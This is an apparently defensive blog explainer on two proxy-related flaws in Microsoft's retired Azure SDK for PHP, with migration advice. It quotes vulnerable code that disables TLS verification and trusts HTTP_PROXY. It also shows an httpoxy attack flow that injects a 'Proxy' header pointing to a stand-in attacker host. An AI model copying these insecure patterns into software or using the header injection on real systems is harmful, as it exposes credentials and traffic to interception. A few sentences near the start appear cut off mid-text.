PHP on Azure is not the problem. The risk is a PHP application that still talks to Azure through Microsoft’s retired SDK: code that can keep returning successful responses while quietly weakening the transport security around them.
HTTPS_PROXY exists. Its later Storage client independently trusts uppercase HTTP_PROXY in web requests, bypassing the protection Guzzle added for the httpoxy class of attacks. Both behaviours live in application code, not in a deployment warning.Check the dependency, not the hosting platform
Running a PHP application in Azure App Service, a container, or a virtual machine remains a valid architecture. This article concerns Composer graphs that contain microsoft/windowsazure, microsoft/azure-storage, or one of the retired microsoft/azure-storage-* clients.
composer why microsoft/windowsazure
composer why microsoft/azure-storage-blob
composer show --locked | grep -E 'microsoft/(windowsazure|azure-storage)'
The original Azure SDK for PHP entered retirement in February 2021 and was archived on November 27, 2023. Microsoft retired the separate Azure Storage PHP clients on March 17, 2024 and archived that repository in May 2024.
The packages remain downloadable because removing them would break existing builds. Availability on Packagist is not a maintenance or security commitment.
Quiet danger #1: a proxy disables TLS verification
The old SDK’s HTTP client contains this branch immediately before sending a request:
// Since PHP 5.6, a default value for certificate validation is 'true'.
// We set it back to false if an enviroment variable 'HTTPS_PROXY' is
// defined.
if (getenv('HTTPS_PROXY')) {
$options[RequestOptions::VERIFY] = false;
}
This is not an example or optional workaround. It is the runtime path in the archived HttpClient.
HTTPS_PROXY is normal infrastructure configuration. Enterprises use it for controlled egress, network inspection, and private build or runtime environments. The presence of a proxy should change where the TCP connection goes; it should not disable verification of the Azure endpoint’s certificate.
With verify=false, the client stops checking whether the TLS certificate belongs to the Azure service it intended to reach. A proxy or another actor controlling the network path can present an arbitrary certificate, terminate TLS, inspect or modify the request, and open a separate connection to Azure.
The dangerous part is operationally quiet:
- The application starts normally.
- The proxy returns genuine Azure responses after forwarding requests.
- Health checks and functional tests remain green.
- No certificate error appears because certificate verification was deliberately disabled.
- Authorization headers, service-management requests, Service Bus messages, Media Services data, and response bodies can cross the interception point in plaintext.
A correctly configured TLS-inspection environment should trust a narrowly managed corporate CA. It should never make the client accept every certificate.
Why the impact is broader than “someone could read traffic”
Azure API traffic is privileged. Depending on which part of the old SDK an application uses, intercepted requests can contain bearer tokens, Shared Access Signature material, account-level operations, message payloads, resource identifiers, or application data.
An active interceptor can also modify responses. That changes the risk from passive confidentiality loss to integrity loss: an application may make decisions based on an Azure response that never came from Azure.
The attack does require control of the configured proxy or another useful point on the network path. It is not a public unauthenticated exploit against every application. But a proxy is explicitly a security boundary, and the SDK silently removes the cryptographic verification that is meant to protect that boundary.
Quiet danger #2: the Storage client reintroduces httpoxy routing
The later Storage SDK uses a different HTTP layer and leaves TLS verification enabled by default. It nevertheless contains another unsafe proxy decision:
$proxy = getenv('HTTP_PROXY');
if (!empty($proxy)) {
$options['proxy'] = $proxy;
}
This code appears in the retired ServiceRestProxy used by the Blob, Queue, Table, and File clients.
The uppercase variable is important. Under CGI-style environments, incoming HTTP headers are mapped into environment variables. An attacker-supplied request header named Proxy can become HTTP_PROXY. This collision is the vulnerability class known as httpoxy.
This vulnerability class is tracked as CVE-2016-5385 / GHSA-m6ch-gg5f-wxx3. The advisory explicitly describes applications that call getenv('HTTP_PROXY'), but its affected Composer packages currently do not include microsoft/azure-storage-blob or microsoft/azure-storage-common. The Azure client added this behaviour after the original CVE was published.
Guzzle’s own documentation explicitly says it only consumes uppercase HTTP_PROXY in the CLI SAPI because the value may be attacker-controlled in CGI environments. The Azure Storage SDK bypasses that safeguard by reading the variable itself and passing the result back to Guzzle as an explicit proxy option.
In an affected CGI or FastCGI deployment, the flow becomes:
attacker request
Proxy: http://attacker-controlled.example:8080
↓
web server / SAPI
HTTP_PROXY=http://attacker-controlled.example:8080
↓
Azure Storage SDK
$options['proxy'] = getenv('HTTP_PROXY')
↓
outbound Blob / Queue / File request uses attacker proxy
For a properly verified HTTPS Azure endpoint, a hostile proxy can observe and disrupt the tunnel but cannot silently decrypt it without a trusted certificate. The risk becomes full interception when certificate verification is disabled, a hostile CA is trusted, or the application uses an HTTP custom/emulator endpoint. Even without decryption, allowing an inbound request header to select the egress route violates a fundamental trust boundary.
microsoft/azure-storage-blob:1.5.4 with current Guzzle 7.15.5. Composer printed the abandonment warning and reported “No security vulnerability advisories found.” Runtime inspection then confirmed that setting uppercase HTTP_PROXY became the Guzzle client’s proxy configuration. A dependency-only scanner does not see this SDK-level behaviour.What makes these better migration evidence than an old version number
An abandoned dependency is a maintenance concern. A hardcoded 2017 Storage API is a compatibility concern. These proxy paths are concrete security semantics:
- They execute at runtime.
- They do not require an exception or crash.
- Normal Azure operations can continue to succeed.
- One weakens endpoint authentication; the other lets request-derived state influence egress routing.
- Neither has an upstream release path because the repositories are archived.
They also demonstrate why updating only Guzzle is insufficient. The unsafe decisions are made by the Azure wrappers around Guzzle.
The dependency graph adds more pressure
The latest microsoft/windowsazure release is 0.5.7 from November 2017. It constrains Guzzle to ^6.2 and PHP-JWT to ^4.0. Guzzle 6 is end-of-life, while current security fixes exist on maintained Guzzle 7 and 8 branches.
A fresh Composer 2.10.3 reproduction now refuses to resolve microsoft/windowsazure:0.5.7 because PHP-JWT 4.0.0 is affected by two advisories, including critical CVE-2021-46743. Existing lock files can keep old deployments running, which is precisely why the silent runtime findings matter more than the failed clean install.
The Azure protocol has also moved years ahead
The retired Blob client identifies itself as version 1.5.4 and hardcodes Azure Storage REST API version 2017-11-09. Azure still accepts older versions, so common uploads and downloads can work. The application is nevertheless capped at the behaviour of that protocol generation.
Storage API version 2019-12-12 already introduced blob index tags, blob versioning, querying blob contents, restoring soft-deleted containers, improved OAuth bearer challenges, and larger upload limits. Microsoft now documents 2026 service versions and recommends current versions for present-day behaviour and optimizations.
Why “just call REST” was not a cheap answer
A production Azure client must handle request signing, SAS semantics, token acquisition and refresh, XML parsing, continuation tokens, conditional requests, retries, clock skew, streaming block uploads, leases, snapshots, versions, and service-specific errors.
Once an application owns authentication, signing, serialization, retries, and pagination, it has created a private SDK. Replacing an abandoned public SDK with an undocumented internal one is not automatically safer.
A maintained community migration path now exists
The independent PHP OSS for Azure project provides current packages for Blob Storage, Queue Storage, File Share, common Storage primitives, and Microsoft Entra ID authentication. It also provides Blob integrations for Flysystem, Symfony, and Laravel.
At the time of writing, azure-oss/storage-blob 2.3.0 targets PHP 8.2 or later and permits maintained Guzzle 7 and 8 releases:
{
"php": "^8.2",
"guzzlehttp/guzzle": "^7.8 || ^8.0",
"azure-oss/storage-common": "^2.0"
}
The project is community-maintained and is not affiliated with, endorsed by, or supported by Microsoft. It still deserves normal due diligence around maintainers, tests, releases, and service coverage. What it restores is the essential property the archived SDK lacks: a path to review a security report, merge a fix, and publish a release.
It is not a replacement for every historical Azure API
- Blob Storage:
azure-oss/storage-blob - Queue Storage:
azure-oss/storage-queue - Azure File Share:
azure-oss/storage-file-share - Entra ID:
azure-oss/identity - Table Storage: evaluate direct REST or another maintained abstraction
- Service Bus: evaluate a current REST or AMQP client behind an application boundary
- Legacy management APIs: migrate to current Azure Resource Manager APIs
A low-risk migration sequence
- Inventory the packages and namespaces. Search for
WindowsAzure\,MicrosoftAzure\Storage\,ServicesBuilder, and the REST proxy classes. - Audit proxy state immediately. Inspect
HTTP_PROXY,HTTPS_PROXY, SAPI behaviour, web-server httpoxy mitigations, custom endpoints, and any use ofverify=false. - Record current behaviour. Cover uploads, downloads, pagination, deletes, metadata, SAS URLs, messages, retries, and Azure errors.
- Introduce an application-owned boundary. Keep SDK types out of domain code so one service can migrate independently.
- Move one service at a time. Keep authentication stable during the client migration.
- Re-test every signed or privileged path. Include SAS scope, expiry, clock skew, leases, and conditional operations.
- Audit the new lock file. Confirm retired Microsoft packages and EOL HTTP/JWT majors are gone.
- Modernize identity separately. Roll out managed or workload identity with its own permission review and rollback.
composer why microsoft/windowsazure
composer why microsoft/azure-storage-blob
composer show guzzlehttp/guzzle
composer show firebase/php-jwt
composer audit --locked
The old SDK does not need to crash to be dangerous
The most concerning failure mode is not a 500 response. It is a successful request whose endpoint identity was not verified, or whose network route came from attacker-influenced process state.
That is why a green health check cannot settle this decision. The SDK is retired, its protocol is frozen, its dependency constraints block normal upgrades, and its own transport wrapper contains security decisions that modern HTTP clients explicitly avoid.
If one of these packages appears in a PHP application, review the proxy and TLS paths now, then plan a deliberate migration. Credit is due to the PHP OSS for Azure maintainers for making that migration achievable without forcing every PHP team to build an Azure client from raw REST calls.
Primary sources: retired Microsoft SDK · TLS verification branch · Storage proxy branch · Guzzle’s HTTP_PROXY safeguard · httpoxy explanation · Azure Storage versioning · PHP OSS for Azure · Blob migration guide
READY TO CHECK?
Continue with the primary documentation.
Use the maintained project's documentation to plan and verify the next step.
StackHal Field Notes: Practical explainers for developer infrastructure.